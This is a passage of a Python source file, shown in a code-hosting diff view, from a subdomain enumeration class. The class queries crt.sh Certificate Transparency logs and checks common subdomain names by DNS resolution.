|
||||||
|
|
||||||
|
result = sorted(list(found_subdomains))
|
||||||
|
logger.info(f"Found {len(result)} subdomains for {domain}")
|
||||||
|
return result
|
||||||
|
|
||||||
|
def _check_crtsh(self, domain: str) -> List[str]:
|
||||||
|
"""
|
||||||
|
Query Certificate Transparency logs via crt.sh
|
||||||
|
"""
|
||||||
|
subdomains = []
|
||||||
|
try:
|
||||||
|
url = f"https://crt.sh/?q=%.{domain}&output=json"
|
||||||
|
logger.info(f"Querying crt.sh for {domain}")
|
||||||
|
|
||||||
|
response = requests.get(url, timeout=15)
|
||||||
|
if response.status_code == 200:
|
||||||
|
data = response.json()
|
||||||
|
|
||||||
|
for entry in data:
|
||||||
|
name_value = entry.get('name_value', '')
|
||||||
|
# Split by newlines (crt.sh returns multiple names per entry sometimes)
|
||||||
|
names = name_value.split('\n')
|
||||||
|
for name in names:
|
||||||
|
name = name.strip().lower()
|
||||||
|
# Remove wildcards
|
||||||
|
name = name.replace('*.', '')
|
||||||
|
# Only include valid subdomains for this domain
|
||||||
|
if name.endswith(domain) and name != domain:
|
||||||
|
subdomains.append(name)
|
||||||
|
|
||||||
|
logger.info(f"Found {len(subdomains)} subdomains from crt.sh")
|
||||||
|
else:
|
||||||
|
logger.warning(f"crt.sh returned status code {response.status_code}")
|
||||||
|
|
||||||
|
except requests.RequestException as e:
|
||||||
|
logger.warning(f"Error querying crt.sh: {e}")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Unexpected error in crt.sh query: {e}")
|
||||||
|
|
||||||
|
return list(set(subdomains)) # Remove duplicates
|
||||||
|
|
||||||
|
def _brute_force_common(self, domain: str) -> List[str]:
|
||||||
|
"""
|
||||||
|
Brute-force common subdomain names
|
||||||
|
"""
|
||||||
|
found = []
|
||||||
|
logger.info(f"Brute-forcing common subdomains for {domain}")
|
||||||
|
|
||||||
|
for subdomain in self.common_subdomains:
|
||||||
|
full_domain = f"{subdomain}.{domain}"
|
||||||
|
if self._check_subdomain_exists(full_domain):
|
||||||
|
found.append(full_domain)
|
||||||
|
logger.debug(f"Found subdomain: {full_domain}")
|
||||||
|
|
||||||
|
logger.info(f"Found {len(found)} subdomains via brute-force")
|
||||||
|
return found
|
||||||
|
|
||||||
|
def _check_subdomain_exists(self, subdomain: str) -> bool:
|
||||||
|
"""
|
||||||
|
Check if a subdomain exists by attempting to resolve it
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
socket.gethostbyname(subdomain)
|
||||||
|
return True
|
||||||
|
except socket.gaierror:
|
||||||
|
return False
|
||||||
|
except Exception as e:
|
||||||
|
logger.debug(f"Error checking {subdomain}: {e}")
|
||||||
|
return False
|
||||||
|
|||||||
Reference in New Issue
Block a user